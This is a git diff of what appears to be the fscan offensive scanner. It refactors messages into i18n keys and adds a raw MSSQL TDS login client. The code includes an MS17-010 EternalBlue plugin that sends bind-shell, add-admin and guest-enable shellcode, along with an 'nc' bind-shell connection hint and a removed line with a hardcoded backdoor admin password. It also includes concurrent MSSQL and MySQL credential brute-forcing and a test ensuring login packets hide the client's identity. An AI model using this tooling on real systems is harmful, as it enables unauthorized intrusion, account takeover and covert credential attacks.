output.WriteString("\n[漏洞确认] ✅ MS17-010漏洞存在\n") + output.WriteString("\n" + i18n.GetText("ms17010_exploit_confirmed") + "\n") if osVersion != "" { - output.WriteString(fmt.Sprintf("[操作系统] %s\n", osVersion)) + output.WriteString(i18n.Tr("ms17010_exploit_os", osVersion) + "\n") } if hasBackdoor { - output.WriteString("\n[后门检测] ⚠️ 发现DOUBLEPULSAR后门\n") + output.WriteString("\n" + i18n.GetText("ms17010_exploit_backdoor_found") + "\n") } else { - output.WriteString("\n[后门检测] 未发现DOUBLEPULSAR后门\n") + output.WriteString("\n" + i18n.GetText("ms17010_exploit_backdoor_not_found") + "\n") } // 如果有Shellcode配置,执行实际利用 if config.Shellcode != "" { - output.WriteString(fmt.Sprintf("\n[利用模式] %s\n", config.Shellcode)) - output.WriteString("[利用状态] 开始执行EternalBlue攻击...\n") + output.WriteString("\n" + i18n.Tr("ms17010_exploit_mode", config.Shellcode) + "\n") + output.WriteString(i18n.GetText("ms17010_exploit_start_attack") + "\n") // 执行实际的MS17010利用 err = p.executeMS17010Exploit(info, session) if err != nil { - output.WriteString(fmt.Sprintf("[利用结果] ❌ 利用失败: %v\n", err)) + output.WriteString(i18n.Tr("ms17010_exploit_failed", err) + "\n") return &ExploitResult{ Success: false, Output: output.String(), Error: err, } } - output.WriteString("[利用结果] ✅ 漏洞利用成功完成\n") + output.WriteString(i18n.GetText("ms17010_exploit_success") + "\n") // 根据不同类型提供后续操作建议 switch config.Shellcode { case "bind": - output.WriteString("\n[连接建议] 使用以下命令连接Bind Shell:\n") - output.WriteString(fmt.Sprintf(" nc %s 64531\n", info.Host)) + output.WriteString("\n" + i18n.GetText("ms17010_exploit_bind_hint") + "\n") + fmt.Fprintf(&output, " nc %s 64531\n", info.Host) case "add": - output.WriteString("\n[访问建议] 已添加管理员账户,可以通过以下方式连接:\n") - output.WriteString(" 用户名: sysadmin 密码: 1qaz@WSX!@#4\n") - output.WriteString(fmt.Sprintf(" RDP: mstsc /v:%s\n", info.Host)) + output.WriteString("\n" + i18n.GetText("ms17010_exploit_add_hint") + "\n") + output.WriteString(i18n.GetText("ms17010_exploit_add_credential") + "\n") + fmt.Fprintf(&output, " RDP: mstsc /v:%s\n", info.Host) case "guest": - output.WriteString("\n[访问建议] 已激活Guest账户,可以直接远程连接\n") + output.WriteString("\n" + i18n.GetText("ms17010_exploit_guest_hint") + "\n") } } else { - output.WriteString("\n[利用模式] 仅检测模式 (未配置Shellcode)\n") - output.WriteString("[建议] 可使用 -sc 参数配置Shellcode进行实际利用\n") - output.WriteString(" 支持的模式: bind, add, guest 或自定义shellcode\n") + output.WriteString("\n" + i18n.GetText("ms17010_exploit_detect_only") + "\n") + output.WriteString(i18n.GetText("ms17010_exploit_shellcode_hint") + "\n") + output.WriteString(i18n.GetText("ms17010_exploit_supported_modes") + "\n") } - common.LogSuccess(i18n.Tr("ms17010_complete", target)) + session.LogSuccess(i18n.Tr("ms17010_complete", target)) return &ExploitResult{ Success: true, @@ -171,17 +171,17 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred func aesDecrypt(crypted string, key string) (string, error) { cryptedBytes, err := base64.StdEncoding.DecodeString(crypted) if err != nil { - return "", fmt.Errorf("base64解码失败: %w", err) + return "", fmt.Errorf("%s: %w", i18n.GetText("ms17010_base64_decode_failed"), err) } keyBytes := []byte(key) block, err := aes.NewCipher(keyBytes) if err != nil { - return "", fmt.Errorf("创建AES密码块失败: %w", err) + return "", fmt.Errorf("%s: %w", i18n.GetText("ms17010_aes_cipher_failed"), err) } if len(cryptedBytes) < aes.BlockSize { - return "", fmt.Errorf("密文长度过短") + return "", fmt.Errorf("%s", i18n.GetText("ms17010_ciphertext_too_short")) } mode := cipher.NewCBCDecrypter(block, keyBytes[:aes.BlockSize]) @@ -190,12 +190,12 @@ func aesDecrypt(crypted string, key string) (string, error) { // 移除PKCS7填充 padding := int(cryptedBytes[len(cryptedBytes)-1]) if padding > len(cryptedBytes) || padding > aes.BlockSize { - return "", fmt.Errorf("无效的填充") + return "", fmt.Errorf("%s", i18n.GetText("ms17010_invalid_padding")) } for i := len(cryptedBytes) - padding; i < len(cryptedBytes); i++ { if cryptedBytes[i] != byte(padding) { - return "", fmt.Errorf("填充验证失败") + return "", fmt.Errorf("%s", i18n.GetText("ms17010_padding_check_failed")) } } @@ -293,42 +293,42 @@ func (p *MS17010Plugin) checkMS17010Vulnerability(ctx context.Context, ip string func (p *MS17010Plugin) checkMS17010VulnerabilityAt(ctx context.Context, address string, session *common.ScanSession) (bool, string, bool, error) { conn, err := session.DialTCP(ctx, "tcp", address, session.Config.Timeout) if err != nil { - return false, "", false, fmt.Errorf("连接错误: %w", err) + return false, "", false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_connection_error"), err) } defer func() { _ = conn.Close() }() if err = conn.SetDeadline(time.Now().Add(session.Config.Timeout)); err != nil { - return false, "", false, fmt.Errorf("设置超时错误: %w", err) + return false, "", false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_set_timeout_error"), err) } // SMB协议协商 if _, err = conn.Write(negotiateProtocolRequest); err != nil { - return false, "", false, fmt.Errorf("发送协议请求错误: %w", err) + return false, "", false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_send_protocol_error"), err) } reply := make([]byte, 1024) n, readErr := conn.Read(reply) if readErr != nil || n < 36 { // 连接被关闭或响应不完整,通常表示目标不支持SMBv1 - return false, "", false, fmt.Errorf("目标可能不支持SMBv1") + return false, "", false, fmt.Errorf("%s", i18n.GetText("ms17010_smbv1_unsupported")) } if binary.LittleEndian.Uint32(reply[9:13]) != 0 { - return false, "", false, fmt.Errorf("SMBv1协议协商被拒绝") + return false, "", false, fmt.Errorf("%s", i18n.GetText("ms17010_smbv1_rejected")) } // 建立会话 if _, err = conn.Write(sessionSetupRequest); err != nil { - return false, "", false, fmt.Errorf("发送会话请求错误: %w", err) + return false, "", false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_send_session_error"), err) } n, readErr = conn.Read(reply) if readErr != nil || n < 36 { - return false, "", false, fmt.Errorf("SMB会话建立失败") + return false, "", false, fmt.Errorf("%s", i18n.GetText("ms17010_session_failed")) } if binary.LittleEndian.Uint32(reply[9:13]) != 0 { - return false, "", false, fmt.Errorf("SMB会话被拒绝") + return false, "", false, fmt.Errorf("%s", i18n.GetText("ms17010_session_rejected")) } // 提取系统信息 @@ -354,15 +354,15 @@ func (p *MS17010Plugin) checkMS17010VulnerabilityAt(ctx context.Context, address treeConnect[33] = userID[1] if _, err = conn.Write(treeConnect); err != nil { - return false, osVersion, false, fmt.Errorf("发送树连接请求错误: %w", err) + return false, osVersion, false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_send_tree_error"), err) } n, readErr = conn.Read(reply) if readErr != nil || n < 36 { if readErr != nil { - return false, osVersion, false, fmt.Errorf("读取树连接响应错误: %w", readErr) + return false, osVersion, false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_read_tree_error"), readErr) } - return false, osVersion, false, fmt.Errorf("树连接响应不完整") + return false, osVersion, false, fmt.Errorf("%s", i18n.GetText("ms17010_tree_response_incomplete")) } // 命名管道请求 @@ -374,15 +374,15 @@ func (p *MS17010Plugin) checkMS17010VulnerabilityAt(ctx context.Context, address transNamedPipe[33] = userID[1] if _, err = conn.Write(transNamedPipe); err != nil { - return false, osVersion, false, fmt.Errorf("发送管道请求错误: %w", err) + return false, osVersion, false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_send_pipe_error"), err) } n, readErr = conn.Read(reply) if readErr != nil || n < 36 { if readErr != nil { - return false, osVersion, false, fmt.Errorf("读取管道响应错误: %w", readErr) + return false, osVersion, false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_read_pipe_error"), readErr) } - return false, osVersion, false, fmt.Errorf("管道响应不完整") + return false, osVersion, false, fmt.Errorf("%s", i18n.GetText("ms17010_pipe_response_incomplete")) } // 漏洞检测 - 关键检查点 @@ -420,7 +420,7 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co var err error sc, err = aesDecrypt(scEnc, defaultKey) if err != nil { - return fmt.Errorf("解密bind shellcode失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("ms17010_bind_shellcode_decrypt_failed"), err) } case "add": @@ -429,7 +429,7 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co var err error sc, err = aesDecrypt(scEnc, defaultKey) if err != nil { - return fmt.Errorf("解密add shellcode失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("ms17010_add_shellcode_decrypt_failed"), err) } case "guest": @@ -438,7 +438,7 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co var err error sc, err = aesDecrypt(scEnc, defaultKey) if err != nil { - return fmt.Errorf("解密guest shellcode失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("ms17010_guest_shellcode_decrypt_failed"), err) } case "cs": @@ -450,7 +450,7 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co if strings.Contains(shellcode, "file:") { read, err := os.ReadFile(shellcode[5:]) if err != nil { - return fmt.Errorf("读取Shellcode文件失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("ms17010_shellcode_file_read_failed"), err) } sc = fmt.Sprintf("%x", read) } else { @@ -460,20 +460,20 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co // 验证shellcode有效性 if len(sc) < 20 { - return fmt.Errorf("无效的Shellcode") + return fmt.Errorf("%s", i18n.GetText("ms17010_invalid_shellcode")) } // 解码shellcode scBytes, err := hex.DecodeString(sc) if err != nil { - return fmt.Errorf("shellcode解码失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("ms17010_shellcode_decode_failed"), err) } if err = eternalBlue(net.JoinHostPort(info.Host, "445"), 12, 12, scBytes); err != nil { return fmt.Errorf("MS17-010 exp failed: %w", err) } - common.LogSuccess(i18n.Tr("ms17010_shellcode_complete", info.Host, len(scBytes))) + session.LogSuccess(i18n.Tr("ms17010_shellcode_complete", info.Host, len(scBytes))) return nil } diff --git a/plugins/services/mssql.go b/plugins/services/mssql.go index a921b79..daeea6e 100644 --- a/plugins/services/mssql.go +++ b/plugins/services/mssql.go @@ -4,11 +4,9 @@ package services import ( "context" - "database/sql" "fmt" "strings" - _ "github.com/denisenkom/go-mssqldb" // MSSQL driver "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/plugins" @@ -29,7 +27,7 @@ func (p *MSSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, session * config := session.Config state := session.State if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } target := info.Target() @@ -39,7 +37,7 @@ func (p *MSSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, session * return &ScanResult{ Success: false, Service: "mssql", - Error: fmt.Errorf("没有可用的测试凭据"), + Error: fmt.Errorf("%s", i18n.GetText("service_no_credentials")), } } @@ -50,7 +48,7 @@ func (p *MSSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, session * result := TestCredentialsConcurrently(ctx, credentials, authFn, "mssql", testConfig) if result.Success { - common.LogVuln(i18n.Tr("mssql_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("mssql_credential", target, result.Username, result.Password)) } return result @@ -65,29 +63,11 @@ func (p *MSSQLPlugin) createAuthFunc(info *common.HostInfo, config *common.Confi // doMSSQLAuth 执行MSSQL认证 func (p *MSSQLPlugin) doMSSQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { - connStr := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;database=master;encrypt=disable;connection timeout=%d", - info.Host, cred.Username, cred.Password, info.Port, int64(config.Timeout.Seconds())) - - db, err := sql.Open("mssql", connStr) - if err != nil { - state.IncrementTCPFailedPacketCount() - return &AuthResult{ - Success: false, - ErrorType: classifyMSSQLErrorType(err), - Error: err, - } - } - - db.SetConnMaxLifetime(config.Timeout) - db.SetMaxOpenConns(1) - db.SetMaxIdleConns(0) - - pingCtx, cancel := context.WithTimeout(ctx, config.Timeout) + authCtx, cancel := context.WithTimeout(ctx, config.Timeout) defer cancel() - err = db.PingContext(pingCtx) + _, err := mssqlRawLogin(authCtx, info.Host, info.Port, cred.Username, cred.Password, config.Timeout) if err != nil { - _ = db.Close() state.IncrementTCPFailedPacketCount() return &AuthResult{ Success: false, @@ -100,7 +80,6 @@ func (p *MSSQLPlugin) doMSSQLAuth(ctx context.Context, info *common.HostInfo, cr return &AuthResult{ Success: true, - Conn: &SQLDBWrapper{db}, ErrorType: ErrorTypeUnknown, Error: nil, } @@ -145,26 +124,15 @@ func classifyMSSQLErrorType(err error) ErrorType { return ClassifyError(err, mssqlAuthErrors, mssqlNetworkErrors) } -func (p *MSSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *MSSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() - connStr := fmt.Sprintf("server=%s;user id=invalid;password=invalid;port=%d;database=master;encrypt=disable;connection timeout=%d", - info.Host, info.Port, int64(config.Timeout.Seconds())) - - db, err := sql.Open("mssql", connStr) - if err != nil { - return &ScanResult{ - Success: false, - Service: "mssql", - Error: err, - } - } - defer func() { _ = db.Close() }() - - pingCtx, cancel := context.WithTimeout(ctx, config.Timeout) + identifyCtx, cancel := context.WithTimeout(ctx, config.Timeout) defer cancel() - err = db.PingContext(pingCtx) + result, err := mssqlRawLogin(identifyCtx, info.Host, info.Port, "invalid", "invalid", config.Timeout) if err != nil { state.IncrementTCPFailedPacketCount() @@ -178,21 +146,20 @@ func (p *MSSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo errLower = strings.ToLower(err.Error()) } - if err != nil && (strings.Contains(errLower, "login failed") || - strings.Contains(errLower, "mssql") || - strings.Contains(errLower, "sql server")) { - banner = "MSSQL" - } else if err == nil { + if err == nil || (result != nil && result.isMSSQL()) || + (strings.Contains(errLower, "login failed") || + strings.Contains(errLower, "mssql") || + strings.Contains(errLower, "sql server")) { banner = "MSSQL" } else { return &ScanResult{ Success: false, Service: "mssql", - Error: fmt.Errorf("无法识别为MSSQL服务"), + Error: fmt.Errorf("%s", i18n.Tr("service_not_identified", "MSSQL")), } } - common.LogSuccess(i18n.Tr("mssql_service", target, banner)) + session.LogSuccess(i18n.Tr("mssql_service", target, banner)) return &ScanResult{ Type: plugins.ResultTypeService, diff --git a/plugins/services/mssql_raw.go b/plugins/services/mssql_raw.go new file mode 100644 index 0000000..8b3cbfc --- /dev/null +++ b/plugins/services/mssql_raw.go @@ -0,0 +1,475 @@ +//go:build plugin_mssql || !plugin_selective + +package services + +import ( + "bytes" + "context" + "encoding/binary" + "fmt" + "io" + "net" + "sort" + "time" + "unicode/utf16" +) + +const ( + tdsPacketReply = 4 + tdsPacketLogin7 = 16 + tdsPacketPrelogin = 18 + + tdsStatusEOM = 1 + + tdsVersion74 = 0x74000004 + tdsDefaultPacketLen = 4096 + + tdsPreloginVersion = 0 + tdsPreloginEncryption = 1 + tdsPreloginInstOpt = 2 + tdsPreloginThreadID = 3 + tdsPreloginMARS = 4 + tdsPreloginTerminator = 0xff + + tdsEncryptNotSupported = 2 + + tdsTokenError = 0xaa + tdsTokenInfo = 0xab + tdsTokenLoginAck = 0xad + tdsTokenEnvChange = 0xe3 + tdsTokenDone = 0xfd + tdsTokenDoneProc = 0xfe + tdsTokenDoneInProc = 0xff + + tdsDoneError = 0x0002 + tdsDoneSrvError = 0x0100 + + tdsOptionUseDB = 0x20 + tdsOptionSetLang = 0x80 + tdsOptionODBC = 0x02 + + tdsLoginHeaderLen = 94 +) + +type mssqlRawResult struct { + sawPrelogin bool + sawLoginAck bool + errors []mssqlRawError +} + +func (r *mssqlRawResult) isMSSQL() bool { + return r != nil && (r.sawPrelogin || r.sawLoginAck || len(r.errors) > 0) +} + +type mssqlRawError struct { + number int32 + message string +} + +func (e mssqlRawError) Error() string { + if e.message == "" { + return fmt.Sprintf("mssql: error %d", e.number) + } + return "mssql: " + e.message +} + +func mssqlRawLogin(ctx context.Context, host string, port int, username, password string, timeout time.Duration) (*mssqlRawResult, error) { + target := net.JoinHostPort(host, fmt.Sprint(port)) + dialer := net.Dialer{Timeout: timeout} + conn, err := dialer.DialContext(ctx, "tcp", target) + if err != nil { + return nil, err + } + defer conn.Close() + + if deadline, ok := ctx.Deadline(); ok { + _ = conn.SetDeadline(deadline) + } else if timeout > 0 { + _ = conn.SetDeadline(time.Now().Add(timeout)) + } + + result := &mssqlRawResult{} + if err := mssqlSendPrelogin(conn); err != nil { + return result, err + } + if err := mssqlReadPrelogin(conn); err != nil { + return result, err + } + result.sawPrelogin = true + + if err := mssqlSendLogin7(conn, host, username, password); err != nil { + return result, err + } + if err := mssqlReadLoginResponse(conn, result); err != nil { + return result, err + } + if len(result.errors) > 0 { + return result, result.errors[len(result.errors)-1] + } + if !result.sawLoginAck { + return result, fmt.Errorf("mssql: login acknowledgement not received") + } + return result, nil +} + +func mssqlSendPrelogin(w io.Writer) error { + fields := map[byte][]byte{ + tdsPreloginVersion: {0, 0, 0, 0, 0, 0}, + tdsPreloginEncryption: {tdsEncryptNotSupported}, + tdsPreloginInstOpt: {0}, + tdsPreloginThreadID: {0, 0, 0, 0}, + tdsPreloginMARS: {0}, + } + + keys := make([]int, 0, len(fields)) + for k := range fields { + keys = append(keys, int(k)) + } + sort.Ints(keys) + + payload := bytes.NewBuffer(nil) + offset := uint16(len(fields)*5 + 1) + for _, key := range keys { + value := fields[byte(key)] + payload.WriteByte(byte(key)) + _ = binary.Write(payload, binary.BigEndian, offset) + _ = binary.Write(payload, binary.BigEndian, uint16(len(value))) + offset += uint16(len(value)) + } + payload.WriteByte(tdsPreloginTerminator) + for _, key := range keys { + payload.Write(fields[byte(key)]) + } + + return mssqlWritePacket(w, tdsPacketPrelogin, payload.Bytes()) +} + +func mssqlReadPrelogin(r io.Reader) error { + packetType, payload, err := mssqlReadMessage(r) + if err != nil { + return err + } + if packetType != tdsPacketReply { + return fmt.Errorf("mssql: invalid prelogin response packet type %d", packetType) + } + if len(payload) == 0 { + return fmt.Errorf("mssql: empty prelogin response") + } + + fields, err := mssqlParsePreloginFields(payload) + if err != nil { + return err + } + if _, ok := fields[tdsPreloginEncryption]; !ok { + return fmt.Errorf("mssql: prelogin response missing encryption field") + } + return nil +} + +func mssqlParsePreloginFields(payload []byte) (map[byte][]byte, error) { + fields := make(map[byte][]byte) + for pos := 0; ; pos += 5 { + if pos >= len(payload) { + return nil, fmt.Errorf("mssql: invalid prelogin option table") + } + token := payload[pos] + if token == tdsPreloginTerminator { + return fields, nil + } + if pos+5 > len(payload) { + return nil, fmt.Errorf("mssql: truncated prelogin option") + } + offset := int(binary.BigEndian.Uint16(payload[pos+1 : pos+3])) + length := int(binary.BigEndian.Uint16(payload[pos+3 : pos+5])) + if offset < 0 || length < 0 || offset+length > len(payload) { + return nil, fmt.Errorf("mssql: invalid prelogin option bounds") + } + fields[token] = payload[offset : offset+length] + } +} + +func mssqlSendLogin7(w io.Writer, host, username, password string) error { + values := []struct { + text string + password bool + }{ + {"", false}, + {username, false}, + {password, true}, + {"", false}, + {"", false}, + {"", false}, + {"", false}, + {"master", false}, + {"", false}, + {"", false}, + } + + encoded := make([][]byte, len(values)) + lengths := make([]uint16, len(values)) + for i, value := range values { + if value.password { + encoded[i] = mssqlEncodePassword(value.text) + } else { + encoded[i] = mssqlUCS2(value.text) + } + lengths[i] = uint16(len(encoded[i]) / 2) + } + + offsets := make([]uint16, len(values)) + offset := uint16(tdsLoginHeaderLen) + for i, value := range encoded { + offsets[i] = offset + offset += uint16(len(value)) + } + + body := bytes.NewBuffer(make([]byte, 0, int(offset))) + put32 := func(v uint32) { _ = binary.Write(body, binary.LittleEndian, v) } + put16 := func(v uint16) { _ = binary.Write(body, binary.LittleEndian, v) } + + put32(uint32(offset)) + put32(tdsVersion74) + put32(tdsDefaultPacketLen) + put32(0) + put32(0) + put32(0) + body.WriteByte(tdsOptionUseDB | tdsOptionSetLang) + body.WriteByte(tdsOptionODBC) + body.WriteByte(0) + body.WriteByte(0) + put32(0) + put32(0) + + for i := 0; i < 5; i++ { + put16(offsets[i]) + put16(lengths[i]) + } + put16(0) + put16(0) + for i := 5; i < 8; i++ { + put16(offsets[i]) + put16(lengths[i]) + } + body.Write([]byte{0, 0, 0, 0, 0, 0}) + put16(offsets[8]) + put16(0) + for i := 8; i < 10; i++ { + put16(offsets[i]) + put16(lengths[i]) + } + put32(0) + + for _, value := range encoded { + body.Write(value) + } + return mssqlWritePacket(w, tdsPacketLogin7, body.Bytes()) +} + +func mssqlReadLoginResponse(r io.Reader, result *mssqlRawResult) error { + for { + packetType, payload, err := mssqlReadMessage(r) + if err != nil { + return err + } + if packetType != tdsPacketReply { + return fmt.Errorf("mssql: unexpected login response packet type %d", packetType) + } + done, err := mssqlParseLoginTokens(payload, result) + if err != nil { + return err + } + if done || result.sawLoginAck || len(result.errors) > 0 { + return nil + } + } +} + +func mssqlParseLoginTokens(payload []byte, result *mssqlRawResult) (bool, error) { + pos := 0 + for pos < len(payload) { + token := payload[pos] + pos++ + switch token { + case tdsTokenError: + errMsg, next, err := mssqlParseErrorToken(payload, pos) + if err != nil { + return false, err + } + result.errors = append(result.errors, errMsg) + pos = next + case tdsTokenInfo: + next, err := mssqlSkipUSVarError(payload, pos) + if err != nil { + return false, err + } + pos = next + case tdsTokenEnvChange: + next, err := mssqlSkipLen16(payload, pos) + if err != nil { + return false, err + } + pos = next + case tdsTokenLoginAck: + next, err := mssqlSkipLen16(payload, pos) + if err != nil { + return false, err + } + result.sawLoginAck = true + pos = next + case tdsTokenDone, tdsTokenDoneProc, tdsTokenDoneInProc: + if pos+12 > len(payload) { + return false, fmt.Errorf("mssql: truncated done token") + } + status := binary.LittleEndian.Uint16(payload[pos : pos+2]) + return status&(tdsDoneError|tdsDoneSrvError) == 0, nil + default: + return false, fmt.Errorf("mssql: unexpected login token 0x%02x", token) + } + } + return false, nil +} + +func mssqlParseErrorToken(payload []byte, pos int) (mssqlRawError, int, error) { + if pos+2 > len(payload) { + return mssqlRawError{}, pos, fmt.Errorf("mssql: truncated error token") + } + size := int(binary.LittleEndian.Uint16(payload[pos : pos+2])) + end := pos + 2 + size + if size < 6 || end > len(payload) || pos+8 > len(payload) { + return mssqlRawError{}, pos, fmt.Errorf("mssql: invalid error token size") + } + pos += 2 + number := int32(binary.LittleEndian.Uint32(payload[pos : pos+4])) + pos += 4 + pos += 2 + message, next, err := mssqlReadUSVarChar(payload, pos) + if err != nil { + return mssqlRawError{}, pos, err + } + return mssqlRawError{number: number, message: message}, end, mssqlEnsureSkipBVarStrings(payload, next, end) +} + +func mssqlSkipUSVarError(payload []byte, pos int) (int, error) { + if pos+2 > len(payload) { + return pos, fmt.Errorf("mssql: truncated info token") + } + size := int(binary.LittleEndian.Uint16(payload[pos : pos+2])) + end := pos + 2 + size + if size < 6 || end > len(payload) || pos+8 > len(payload) { + return pos, fmt.Errorf("mssql: invalid info token size") + } + _, _, err := mssqlReadUSVarChar(payload, pos+8) + return end, err +} + +func mssqlEnsureSkipBVarStrings(payload []byte, pos, end int) error { + for i := 0; i < 2; i++ { + if pos >= end { + return fmt.Errorf("mssql: truncated string in error token") + } + length := int(payload[pos]) * 2 + pos++ + if pos+length > end { + return fmt.Errorf("mssql: invalid string in error token") + } + pos += length + } + if pos+4 > end { + return fmt.Errorf("mssql: truncated error line number") + } + return nil +} + +func mssqlSkipLen16(payload []byte, pos int) (int, error) { + if pos+2 > len(payload) { + return pos, fmt.Errorf("mssql: truncated token") + } + size := int(binary.LittleEndian.Uint16(payload[pos : pos+2])) + next := pos + 2 + size + if next > len(payload) { + return pos, fmt.Errorf("mssql: invalid token size") + } + return next, nil +} + +func mssqlReadUSVarChar(payload []byte, pos int) (string, int, error) { + if pos+2 > len(payload) { + return "", pos, fmt.Errorf("mssql: truncated us varchar") + } + chars := int(binary.LittleEndian.Uint16(payload[pos : pos+2])) + pos += 2 + size := chars * 2 + if pos+size > len(payload) { + return "", pos, fmt.Errorf("mssql: invalid us varchar size") + } + return mssqlDecodeUCS2(payload[pos : pos+size]), pos + size, nil +} + +func mssqlWritePacket(w io.Writer, packetType byte, payload []byte) error { + if len(payload)+8 > 0xffff { + return fmt.Errorf("mssql: packet too large") + } + header := []byte{packetType, tdsStatusEOM, 0, 0, 0, 0, 1, 0} + binary.BigEndian.PutUint16(header[2:4], uint16(len(payload)+8)) + if _, err := w.Write(header); err != nil { + return err + } + _, err := w.Write(payload) + return err +} + +func mssqlReadMessage(r io.Reader) (byte, []byte, error) { + var packetType byte + var payload []byte + for { + header := make([]byte, 8) + if _, err := io.ReadFull(r, header); err != nil { + return 0, nil, err + } + if packetType == 0 { + packetType = header[0] + } else if packetType != header[0] { + return 0, nil, fmt.Errorf("mssql: packet type changed in message") + } + size := int(binary.BigEndian.Uint16(header[2:4])) + if size < 8 { + return 0, nil, fmt.Errorf("mssql: invalid packet size") + } + chunk := make([]byte, size-8) + if _, err := io.ReadFull(r, chunk); err != nil { + return 0, nil, err + } + payload = append(payload, chunk...) + if header[1]&tdsStatusEOM != 0 { + return packetType, payload, nil + } + } +} + +func mssqlUCS2(s string) []byte { + runes := utf16.Encode([]rune(s)) + out := make([]byte, len(runes)*2) + for i, r := range runes { + binary.LittleEndian.PutUint16(out[i*2:], r) + } + return out +} + +func mssqlDecodeUCS2(data []byte) string { + if len(data)%2 != 0 { + data = data[:len(data)-1] + } + runes := make([]uint16, len(data)/2) + for i := range runes { + runes[i] = binary.LittleEndian.Uint16(data[i*2:]) + } + return string(utf16.Decode(runes)) +} + +func mssqlEncodePassword(password string) []byte { + out := mssqlUCS2(password) + for i, ch := range out { + out[i] = (((ch << 4) & 0xff) | (ch >> 4)) ^ 0xa5 + } + return out +} diff --git a/plugins/services/mssql_raw_test.go b/plugins/services/mssql_raw_test.go new file mode 100644 index 0000000..d49c930 --- /dev/null +++ b/plugins/services/mssql_raw_test.go @@ -0,0 +1,39 @@ +//go:build plugin_mssql || !plugin_selective + +package services + +import ( + "bytes" + "encoding/binary" + "os" + "testing" +) + +func TestMSSQLLogin7DoesNotExposeClientIdentity(t *testing.T) { + var packet bytes.Buffer + if err := mssqlSendLogin7(&packet, "target-host", "sa", "password"); err != nil { + t.Fatalf("mssqlSendLogin7() error = %v", err) + } + + data := packet.Bytes() + if len(data) < 8+20 { + t.Fatalf("login packet too short: %d", len(data)) + } + + payload := data[8:] + if pid := binary.LittleEndian.Uint32(payload[16:20]); pid != 0 { + t.Fatalf("client pid = %d, want 0", pid) + } + + for _, value := range []string{"fscan", "target-host"} { + if bytes.Contains(payload, mssqlUCS2(value)) { + t.Fatalf("login packet contains client-identifying value %q", value) + } + } + + if hostname, err := os.Hostname(); err == nil && hostname != "" { + if bytes.Contains(payload, mssqlUCS2(hostname)) { + t.Fatalf("login packet contains local hostname %q", hostname) + } + } +} diff --git a/plugins/services/mysql.go b/plugins/services/mysql.go index 933fe5e..d0546b4 100644 --- a/plugins/services/mysql.go +++ b/plugins/services/mysql.go @@ -8,6 +8,7 @@ import ( "fmt" "log" "net" + "strconv" "time" "github.com/go-sql-driver/mysql" @@ -48,7 +49,7 @@ func (p *MySQLPlugin) Scan(ctx context.Context, info *common.HostInfo, session * return &ScanResult{ Success: false, Service: "mysql", - Error: fmt.Errorf("没有可用的测试凭据"), + Error: fmt.Errorf("%s", i18n.GetText("service_no_credentials")), } } @@ -61,7 +62,7 @@ func (p *MySQLPlugin) Scan(ctx context.Context, info *common.HostInfo, session * result := TestCredentialsConcurrently(ctx, credentials, authFn, "mysql", testConfig) if result.Success { - common.LogVuln(i18n.Tr("mysql_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("mysql_credential", target, result.Username, result.Password)) } return result @@ -76,8 +77,8 @@ func (p *MySQLPlugin) createAuthFunc(info *common.HostInfo, config *common.Confi // doMySQLAuth 执行MySQL认证 func (p *MySQLPlugin) doMySQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { - connStr := fmt.Sprintf("%s:%s@tcp(%s:%d)/information_schema?charset=utf8&timeout=%ds", - cred.Username, cred.Password, info.Host, info.Port, int64(config.Timeout.Seconds())) + connStr := fmt.Sprintf("%s:%s@tcp(%s)/information_schema?charset=utf8&timeout=%ds", + cred.Username, cred.Password, net.JoinHostPort(info.Host, strconv.Itoa(info.Port)), int64(config.Timeout.Seconds())) db, err := sql.Open("mysql", connStr) if err != nil { @@ -153,7 +154,7 @@ func (p *MySQLPlugin) identifyService(ctx context.Context, info *common.HostInfo defer func() { _ = conn.Close() }() if banner := p.readMySQLBanner(conn, session.Config); banner != "" { - common.LogSuccess(i18n.Tr("mysql_service", target, banner)) + session.LogSuccess(i18n.Tr("mysql_service", target, banner)) return &ScanResult{ Type: plugins.ResultTypeService, Success: true, @@ -165,7 +166,7 @@ func (p *MySQLPlugin) identifyService(ctx context.Context, info *common.HostInfo return &ScanResult{ Success: false, Service: "mysql", - Error: fmt.Errorf("无法识别为MySQL服务"), + Error: fmt.Errorf("%s", i18n.Tr("service_not_identified", "MySQL")), } } diff --git a/plugins/services/neo4j.go b/plugins/services/neo4j.go index e67a6cc..4fab360 100644 --- a/plugins/services/neo4j.go +++ b/plugins/services/neo4j.go @@ -27,16 +27,15 @@ func NewNeo4jPlugin() *Neo4jPlugin { func (p *Neo4jPlugin) Scan(ctx 